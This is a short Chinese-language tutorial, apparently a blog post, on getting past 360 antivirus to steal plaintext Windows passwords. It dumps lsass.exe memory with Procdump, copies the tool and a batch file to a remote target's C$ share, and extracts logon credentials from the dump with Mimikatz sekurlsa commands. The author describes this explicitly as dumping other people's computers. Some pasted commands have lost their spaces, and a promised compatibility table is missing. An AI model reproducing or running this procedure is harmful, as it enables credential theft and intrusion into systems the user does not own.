利用procdump+Mimikatz 绕过杀软获取Windows明文密码

win2008装了360， 居然把我手里的破玩意全剿灭了， 这时， 这个方法来了！

Procdump: http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

命令如下：

Default

1

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

 

 

 

我们运行mimikatz--第二版的平台（platform）要与进行dump的系统(source dump)兼容，兼容性如下：

得到dump后的文件我们就能使用mimikatz获取密码了。我们dump自己的电脑当然没什么意思，下面介绍怎么dump别人的电脑。

 

接下来我们可以在目标主机上开展工作了。

 

copy c:\temp\procdump.exe \\TARGETBOX\C$\Temp

copy c:\temp\procdump.bat \\TARGETBOX\C$\Temp

 

procdump.bat中的内容如下

Default

1

2

@echooff

C:\temp\procdump.exe-accepteula-malsass.exe%COMPUTERNAME%_lsass.dmp

 

这里一个技巧就是dump得到的文件名中有“计算机名”，这样可以让我们区分是来dump的文件自哪台电脑。

之后我们就可以运行我们电脑上的Mimikatz，对得到的.dmp文件进行分析了（注意上文提到的兼容性）。命令如下：

Default

1

2

3

4

mimikatz# sekurlsa::minidump SUPERCOMPUTER_lsass.dmp

SwitchtoMINIDUMP

 

mimikatz# sekurlsa::logonPasswords full

 到此结束！我们得到了远程主机上的密码。